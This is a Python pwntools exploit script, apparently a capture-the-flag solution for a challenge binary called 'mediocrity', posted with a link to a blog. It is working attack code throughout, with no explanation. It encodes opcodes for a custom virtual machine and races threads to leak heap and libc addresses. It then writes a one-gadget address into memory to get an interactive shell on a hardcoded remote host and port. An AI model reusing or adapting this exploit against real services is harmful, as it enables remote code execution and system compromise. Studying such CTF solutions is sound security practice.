> https://uz56764.tistory.com/106
```from pwn import *
#context.log_level = 'debug'def op_calc(op,reg,num):    if op=='+':        op = 0    elif op=='*':        op = 2    return p16(op) + p16(0x1) + p64(reg) + p64(num)
def op_sycall_1():    return p16(0xf) + p16(0x0) + p64(0x0) + p64(0x0)
def op_sycall_2():    return p16(0xf) + p16(0x3) + p64(0x0) + p64(0x0)
def call_1(rax, rdi, rsi, rdx): #9    pay = b''    pay += op_calc('*',0,0)    pay += op_calc('+',0,rax)    pay += op_calc('*',1,0)    pay += op_calc('+',1,rdi)    pay += op_calc('*',2,0)    pay += op_calc('+',2,rsi)    pay += op_calc('*',3,0)    pay += op_calc('+',3,rdx)    pay += op_sycall_1()    return pay
def call_2(rax, rdi, rsi, rdx): #9    pay = b''    pay += op_calc('*',0,0)    pay += op_calc('+',0,rax)    pay += op_calc('*',1,0)    pay += op_calc('+',1,rdi)    pay += op_calc('*',2,0)    pay += op_calc('+',2,rsi)    pay += op_calc('*',3,0)    pay += op_calc('+',3,rdx)    pay += op_sycall_2()    return pay
def jmp(idx): #1    return p16(11) + p16(0x2) + p64(idx) + p64(0x0)
def jmp_true(idx): #1    return p16(12) + p16(0x2) + p64(idx) + p64(0x0)
def jmp_false(idx): #1    return p16(13) + p16(0x2) + p64(idx) + p64(0x0)
def thread(idx): #1    return p16(14) + p16(0x2) + p64(idx) + p64(0x0)
#p = process("mediocrity")p = remote("13.124.115.242", 1300)#raw_input()
p.sendline(b'1')
pay = b''pay += thread(13) #0
pay += op_calc('+',5,1) #1pay += call_1(0,0,0,0x19) #2pay += p16(10) + p16(1) + p64(5) + p64(4000) #cmp 11pay += jmp_false(1) # 12
pay += op_calc('+',5,1) # 13pay += call_2(1,0,8,16) # 14pay += p16(10) + p16(1) + p64(5) + p64(600000) #cmp 23pay += jmp_false(13) #24
p.sendline(str(len(pay)).encode())p.send(pay)
#p.send(p64(1)+p64(0)+p64(0x100))
for i in range(0,2000-3):    p.sendline(p64(1)+p64(0)+p64(0x0))    p.sendline(p64(1)+p64(0)+p64(0x1000))print("END")
heap_next_mem = u64(p.recvuntil([b'\x55',b'\x56'])[-6:].ljust(8,b'\x00')) + 0x5b0lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))libc_base = lic + 0xec9e0banana = 0x4b12e0+libc_base #+0x3b2e0print(f'heap_next_mem = {hex(heap_next_mem)}')print(f'libc_base = {hex(libc_base)}')print(f'banana = {hex(banana)}')
raw_input()
while(True):    if b'volume :' in p.recvuntil(b'volume :',timeout=0.3):        break    p.sendline(b'1')
print("END 2")
pay = b''pay += thread(13) #0
pay += op_calc('+',5,1) #1pay += call_1(0,0,0,0x18) #2pay += p16(10) + p16(1) + p64(5) + p64(0xffffffffffffffff) #cmp 11pay += jmp(1) # 12
pay += op_calc('+',5,1) # 13pay += call_2(0,0,8,16) # 14pay += p16(10) + p16(1) + p64(5) + p64(3000000) #cmp 23pay += jmp_false(13) #24pay += call_1(2,0,0,0)
p.sendline(str(len(pay)).encode())p.send(pay)
#p.send(p64(1)+p64(0)+p64(0x100))for i in range(0,0x1000):    p.send(p64(0)+p64(0)+p64(0))    p.send(p64(0)+p64(banana-heap_next_mem)+p64(0x10))    p.send(p64(banana - 0x8bf8 + 0x8)+p64(libc_base+0xebcf1))
print("END")
p.interactive()
```